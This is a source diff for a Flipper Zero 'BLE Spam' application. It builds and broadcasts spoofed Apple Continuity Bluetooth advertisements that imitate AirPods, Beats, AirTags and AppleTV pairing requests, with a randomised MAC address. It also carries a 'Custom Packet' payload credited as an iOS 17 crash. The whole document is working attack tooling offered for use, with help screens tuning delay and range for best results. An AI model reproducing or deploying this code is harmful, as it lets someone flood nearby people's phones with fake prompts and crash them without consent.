Payload* payload = &attacks[state->index].payload;
if(!payload->random_mac) furi_hal_random_fill_buf(mac, sizeof(mac));
while(state->advertising) {
if(payload->protocol) {
payload->protocol->make_packet(&size, &packet, &payload->msg);
} else {
ble_spam_protocols[rand() % ble_spam_protocols_count]->make_packet(
&size, &packet, NULL);
}
furi_hal_bt_custom_adv_set(packet, size);
free(packet);
if(payload->random_mac) furi_hal_random_fill_buf(mac, sizeof(mac));
delay = delays[state->delay];
furi_hal_bt_custom_adv_start(delay, delay, 0x00, mac, 0x1F);
furi_thread_flags_wait(true, FuriFlagWaitAny, delay);
furi_hal_bt_custom_adv_stop();
}
return 0;
}
static void toggle_adv(State* state) {
if(state->advertising) {
state->advertising = false;
furi_thread_flags_set(furi_thread_get_id(state->thread), true);
furi_thread_join(state->thread);
if(state->resume) furi_hal_bt_start_advertising();
} else {
state->resume = furi_hal_bt_is_active();
furi_hal_bt_stop_advertising();
state->advertising = true;
furi_thread_start(state->thread);
}
}
#define PAGE_MIN (-3)
#define PAGE_MAX ATTACK_COUNT
enum {
PageHelpApps = PAGE_MIN,
PageHelpDelay,
PageHelpDistance,
PageStart = 0,
PageEnd = ATTACK_COUNT - 1,
PageAboutCredits = PAGE_MAX,
};
static void draw_callback(Canvas* canvas, void* ctx) {
State* state = ctx;
const char* back = "Back";
const char* next = "Next";
switch(state->index) {
case PageStart - 1:
next = "Spam";
break;
case PageStart:
back = "Help";
break;
case PageEnd:
next = "About";
break;
case PageEnd + 1:
back = "Spam";
break;
}
const Attack* attack =
(state->index >= 0 && state->index <= ATTACK_COUNT - 1) ? &attacks[state->index] : NULL;
const Payload* payload = &attack->payload;
const BleSpamProtocol* protocol = (attack && payload->protocol) ? payload->protocol : NULL;
canvas_set_font(canvas, FontSecondary);
canvas_draw_icon(canvas, 4, 3, protocol ? protocol->icon : &I_ble);
canvas_draw_str(canvas, 14, 12, "BLE Spam");
switch(state->index) {
case PageHelpApps:
canvas_set_font(canvas, FontBatteryPercent);
canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
elements_text_box(
canvas,
4,
16,
120,
48,
AlignLeft,
AlignTop,
"\e#Some Apps\e# interfere\n"
"with the attacks, stay on\n"
"homescreen for best results",
false);
break;
case PageHelpDelay:
canvas_set_font(canvas, FontBatteryPercent);
canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
elements_text_box(
canvas,
4,
16,
120,
48,
AlignLeft,
AlignTop,
"\e#Delay\e# is time between\n"
"attack attempts (top right),\n"
"keep 20ms for best results",
false);
break;
case PageHelpDistance:
canvas_set_font(canvas, FontBatteryPercent);
canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
elements_text_box(
canvas,
4,
16,
120,
48,
AlignLeft,
AlignTop,
"\e#Distance\e# is limited, attacks\n"
"work under 1 meter but a\n"
"few are marked 'long range'",
false);
break;
case PageAboutCredits:
canvas_set_font(canvas, FontBatteryPercent);
canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Credits");
elements_text_box(
canvas,
4,
16,
122,
48,
AlignLeft,
AlignTop,
"App+Spam: \e#WillyJL\e# XFW\n"
"Apple+Crash: \e#ECTO-1A\e#\n"
"\n"
" Version \e#2.0\e#",
false);
break;
default: {
if(!attack) break;
char str[32];
canvas_set_font(canvas, FontBatteryPercent);
snprintf(str, sizeof(str), "%ims", delays[state->delay]);
canvas_draw_str_aligned(canvas, 116, 12, AlignRight, AlignBottom, str);
canvas_draw_icon(canvas, 119, 6, &I_SmallArrowUp_3x5);
canvas_draw_icon(canvas, 119, 10, &I_SmallArrowDown_3x5);
canvas_set_font(canvas, FontBatteryPercent);
snprintf(
str,
sizeof(str),
"%02i/%02i: %s",
state->index + 1,
ATTACK_COUNT,
protocol ? protocol->get_name(&payload->msg) : "Everything");
canvas_draw_str(canvas, 4 - (state->index < 19 ? 1 : 0), 21, str);
canvas_set_font(canvas, FontPrimary);
canvas_draw_str(canvas, 4, 32, attack->title);
canvas_set_font(canvas, FontSecondary);
canvas_draw_str(canvas, 4, 46, attack->text);
elements_button_center(canvas, state->advertising ? "Stop" : "Start");
break;
}
}
if(state->index > PAGE_MIN) {
elements_button_left(canvas, back);
}
if(state->index < PAGE_MAX) {
elements_button_right(canvas, next);
}
}
static void input_callback(InputEvent* input, void* ctx) {
FuriMessageQueue* input_queue = ctx;
if(input->type == InputTypeShort || input->type == InputTypeLong ||
input->type == InputTypeRepeat) {
furi_message_queue_put(input_queue, input, 0);
}
}
int32_t ble_spam(void* p) {
UNUSED(p);
State* state = malloc(sizeof(State));
state->thread = furi_thread_alloc();
furi_thread_set_callback(state->thread, adv_thread);
furi_thread_set_context(state->thread, state);
furi_thread_set_stack_size(state->thread, 4096);
FuriMessageQueue* input_queue = furi_message_queue_alloc(8, sizeof(InputEvent));
ViewPort* view_port = view_port_alloc();
Gui* gui = furi_record_open(RECORD_GUI);
view_port_input_callback_set(view_port, input_callback, input_queue);
view_port_draw_callback_set(view_port, draw_callback, state);
gui_add_view_port(gui, view_port, GuiLayerFullscreen);
bool running = true;
while(running) {
InputEvent input;
furi_check(furi_message_queue_get(input_queue, &input, FuriWaitForever) == FuriStatusOk);
bool is_attack = state->index >= 0 && state->index <= ATTACK_COUNT - 1;
bool advertising = state->advertising;
switch(input.key) {
case InputKeyOk:
if(is_attack) toggle_adv(state);
break;
case InputKeyUp:
if(is_attack && state->delay < COUNT_OF(delays) - 1) {
state->delay++;
}
break;
case InputKeyDown:
if(is_attack && state->delay > 0) {
state->delay--;
}
break;
case InputKeyLeft:
if(state->index > PAGE_MIN) {
if(advertising) toggle_adv(state);
state->index--;
}
break;
case InputKeyRight:
if(state->index < PAGE_MAX) {
if(advertising) toggle_adv(state);
state->index++;
}
break;
case InputKeyBack:
if(advertising) toggle_adv(state);
running = false;
break;
default:
continue;
}
view_port_update(view_port);
}
gui_remove_view_port(gui, view_port);
furi_record_close(RECORD_GUI);
view_port_free(view_port);
furi_message_queue_free(input_queue);
furi_thread_free(state->thread);
free(state);
return 0;
}

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.2 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 5.0 KiB

View File

@@ -0,0 +1,17 @@
#pragma once
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <assets_icons.h>
#include "ble_spam_icons.h"
#include <furi_hal_random.h>
#include <core/core_defines.h>
typedef union BleSpamMsg BleSpamMsg;
typedef struct {
const Icon* icon;
const char* (*get_name)(const BleSpamMsg* _msg);
void (*make_packet)(uint8_t* out_size, uint8_t** out_packet, const BleSpamMsg* _msg);
} BleSpamProtocol;

View File

@@ -0,0 +1,7 @@
#include "_registry.h"
const BleSpamProtocol* ble_spam_protocols[] = {
&ble_spam_protocol_continuity,
};
const size_t ble_spam_protocols_count = COUNT_OF(ble_spam_protocols);

View File

@@ -0,0 +1,11 @@
#pragma once
#include "continuity.h"
union BleSpamMsg {
ContinuityMsg continuity;
};
extern const BleSpamProtocol* ble_spam_protocols[];
extern const size_t ble_spam_protocols_count;

View File

@@ -0,0 +1,276 @@
#include "continuity.h"
#include "_registry.h"
// Hacked together by @Willy-JL
// iOS 17 Crash by @ECTO-1A
// Nearby Action IDs and Documentation at https://github.com/furiousMAC/continuity/
// Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/
static const char* type_names[ContinuityTypeCount] = {
[ContinuityTypeAirDrop] = "AirDrop",
[ContinuityTypeProximityPair] = "Proximity Pair",
[ContinuityTypeAirplayTarget] = "Airplay Target",
[ContinuityTypeHandoff] = "Handoff",
[ContinuityTypeTetheringSource] = "Tethering Source",
[ContinuityTypeNearbyAction] = "Nearby Action",
[ContinuityTypeNearbyInfo] = "Nearby Info",
[ContinuityTypeCustomCrash] = "Custom Packet",
};
const char* continuity_get_name(const BleSpamMsg* _msg) {
const ContinuityMsg* msg = &_msg->continuity;
return type_names[msg->type];
}
#define HEADER_LEN (6) // 1 Size + 1 AD Type + 2 Company ID + 1 Continuity Type + 1 Continuity Size
static uint8_t packet_sizes[ContinuityTypeCount] = {
[ContinuityTypeAirDrop] = HEADER_LEN + 18,
[ContinuityTypeProximityPair] = HEADER_LEN + 25,
[ContinuityTypeAirplayTarget] = HEADER_LEN + 6,
[ContinuityTypeHandoff] = HEADER_LEN + 14,
[ContinuityTypeTetheringSource] = HEADER_LEN + 6,
[ContinuityTypeNearbyAction] = HEADER_LEN + 5,
[ContinuityTypeNearbyInfo] = HEADER_LEN + 5,
[ContinuityTypeCustomCrash] = HEADER_LEN + 11,
};
void continuity_make_packet(uint8_t* out_size, uint8_t** out_packet, const BleSpamMsg* _msg) {
const ContinuityMsg* msg = _msg ? &_msg->continuity : NULL;
ContinuityType type;
if(msg) {
type = msg->type;
} else {
const ContinuityType types[] = {
ContinuityTypeProximityPair,
ContinuityTypeNearbyAction,
ContinuityTypeCustomCrash,
};
type = types[rand() % COUNT_OF(types)];
}
uint8_t size = packet_sizes[type];
uint8_t* packet = malloc(size);
uint8_t i = 0;
packet[i++] = size - 1; // Size
packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
packet[i++] = 0x4C; // Company ID (Apple, Inc.)
packet[i++] = 0x00; // ...
packet[i++] = type; // Continuity Type
packet[i] = size - i - 1; // Continuity Size
i++;
switch(type) {
case ContinuityTypeAirDrop: {
packet[i++] = 0x00; // Zeros
packet[i++] = 0x00; // ...
packet[i++] = 0x00; // ...
packet[i++] = 0x00; // ...
packet[i++] = 0x00; // ...
packet[i++] = 0x00; // ...
packet[i++] = 0x00; // ...
packet[i++] = 0x00; // ...
packet[i++] = 0x01; // Version
packet[i++] = (rand() % 256); // AppleID
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // Phone Number
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // Email
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // Email2
packet[i++] = (rand() % 256); // ...
packet[i++] = 0x00; // Zero
break;
}
case ContinuityTypeProximityPair: {
uint16_t model;
if(msg && msg->data.proximity_pair.model != 0x0000) {
model = msg->data.proximity_pair.model;
} else {
const uint16_t models[] = {
0x0E20, // AirPods Pro
0x0620, // Beats Solo 3
0x0A20, // AirPods Max
0x1020, // Beats Flex
0x0055, // Airtag
0x0030, // Hermes Airtag
0x0220, // AirPods
0x0F20, // AirPods 2nd Gen
0x1320, // AirPods 3rd Gen
0x1420, // AirPods Pro 2nd Gen
0x0320, // Powerbeats 3
0x0B20, // Powerbeats Pro
0x0C20, // Beats Solo Pro
0x1120, // Beats Studio Buds
0x0520, // Beats X
0x0920, // Beats Studio 3
0x1720, // Beats Studio Pro
0x1220, // Beats Fit Pro
0x1620, // Beats Studio Buds+
};
model = models[rand() % COUNT_OF(models)];
}
uint8_t prefix;
if(msg && msg->data.proximity_pair.prefix == 0x00) {
prefix = msg->data.proximity_pair.prefix;
} else {
if(model == 0x0055 || model == 0x0030)
prefix = 0x05;
else
prefix = 0x01;
}
packet[i++] = prefix; // Prefix (paired 0x01 new 0x07 airtag 0x05)
packet[i++] = (model >> 0x08) & 0xFF;
packet[i++] = (model >> 0x00) & 0xFF;
packet[i++] = 0x55; // Status
packet[i++] = ((rand() % 10) << 4) + (rand() % 10); // Buds Battery Level
packet[i++] = ((rand() % 8) << 4) + (rand() % 10); // Charing Status and Battery Case Level
packet[i++] = (rand() % 256); // Lid Open Counter
packet[i++] = 0x00; // Device Color
packet[i++] = 0x00;
furi_hal_random_fill_buf(&packet[i], 16); // Encrypted Payload
i += 16;
break;
}
case ContinuityTypeAirplayTarget: {
packet[i++] = (rand() % 256); // Flags
packet[i++] = (rand() % 256); // Configuration Seed
packet[i++] = (rand() % 256); // IPv4 Address
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // ...
break;
}
case ContinuityTypeHandoff: {
packet[i++] = 0x01; // Version
packet[i++] = (rand() % 256); // Initialization Vector
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // AES-GCM Auth Tag
packet[i++] = (rand() % 256); // Encrypted Payload
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // ...
break;
}
case ContinuityTypeTetheringSource: {
packet[i++] = 0x01; // Version
packet[i++] = (rand() % 256); // Flags
packet[i++] = (rand() % 101); // Battery Life
packet[i++] = 0x00; // Cell Service Type
packet[i++] = (rand() % 8); // ...
packet[i++] = (rand() % 5); // Cell Service Strength
break;
}
case ContinuityTypeNearbyAction: {
uint8_t action;
if(msg && msg->data.nearby_action.type != 0x00) {
action = msg->data.nearby_action.type;
} else {
const uint8_t actions[] = {
0x13, // AppleTV AutoFill
0x27, // AppleTV Connecting...
0x20, // Join This AppleTV?
0x19, // AppleTV Audio Sync
0x1E, // AppleTV Color Balance
0x09, // Setup New iPhone
0x02, // Transfer Phone Number
0x0B, // HomePod Setup
0x01, // Setup New AppleTV
0x06, // Pair AppleTV
0x0D, // HomeKit AppleTV Setup
0x2B, // AppleID for AppleTV?
};
action = actions[rand() % COUNT_OF(actions)];
}
uint8_t flag;
if(msg && msg->data.nearby_action.flags != 0x00) {
flag = msg->data.nearby_action.flags;
} else {
flag = 0xC0;
if(action == 0x20 && rand() % 2) flag--; // More spam for 'Join This AppleTV?'
if(action == 0x09 && rand() % 2) flag = 0x40; // Glitched 'Setup New Device'
}
packet[i++] = flag; // Action Flags
packet[i++] = action; // Action Type
furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
i += 3;
break;
}
case ContinuityTypeNearbyInfo: {
packet[i++] = ((rand() % 16) << 4) + (rand() % 16); // Status Flags and Action Code
packet[i++] = (rand() % 256); // Status Flags
packet[i++] = (rand() % 256); // Authentication Tag
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // ...
break;
}
case ContinuityTypeCustomCrash: {
// Found by @ECTO-1A
const uint8_t actions[] = {
0x13, // AppleTV AutoFill
0x27, // AppleTV Connecting...
0x20, // Join This AppleTV?
0x19, // AppleTV Audio Sync
0x1E, // AppleTV Color Balance
0x09, // Setup New iPhone
0x02, // Transfer Phone Number
0x0B, // HomePod Setup
0x01, // Setup New AppleTV
0x06, // Pair AppleTV
0x0D, // HomeKit AppleTV Setup
0x2B, // AppleID for AppleTV?
};
uint8_t action = actions[rand() % COUNT_OF(actions)];
uint8_t flag = 0xC0;
if(action == 0x20 && rand() % 2) flag--; // More spam for 'Join This AppleTV?'
if(action == 0x09 && rand() % 2) flag = 0x40; // Glitched 'Setup New Device'
i -= 2; // Override segment header
packet[i++] = ContinuityTypeNearbyAction; // Continuity Type
packet[i++] = 0x05; // Continuity Size
packet[i++] = flag; // Action Flags
packet[i++] = action; // Action Type
furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
i += 3;
packet[i++] = 0x00; // Terminator (?)
packet[i++] = 0x00; // ...
packet[i++] = ContinuityTypeNearbyInfo; // Continuity Type (?)
furi_hal_random_fill_buf(&packet[i], 3); // Continuity Size (?) + Shenanigans (???)
i += 3;
break;
}
default:
break;
}
*out_size = size;
*out_packet = packet;
}
const BleSpamProtocol ble_spam_protocol_continuity = {
.icon = &I_apple,
.get_name = continuity_get_name,
.make_packet = continuity_make_packet,
};

View File

@@ -0,0 +1,36 @@
#pragma once
#include "_base.h"
// Hacked together by @Willy-JL
// iOS 17 Crash by @ECTO-1A
// Nearby Action IDs and Documentation at https://github.com/furiousMAC/continuity/
// Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/
typedef enum {
ContinuityTypeAirDrop = 0x05,
ContinuityTypeProximityPair = 0x07,
ContinuityTypeAirplayTarget = 0x09,
ContinuityTypeHandoff = 0x0C,
ContinuityTypeTetheringSource = 0x0E,
ContinuityTypeNearbyAction = 0x0F,
ContinuityTypeNearbyInfo = 0x10,
ContinuityTypeCustomCrash,
ContinuityTypeCount
} ContinuityType;
typedef struct {
ContinuityType type;
union {
struct {
uint8_t prefix;
uint16_t model;
} proximity_pair;
struct {
uint8_t flags;
uint8_t type;
} nearby_action;
} data;
} ContinuityMsg;
extern const BleSpamProtocol ble_spam_protocol_continuity;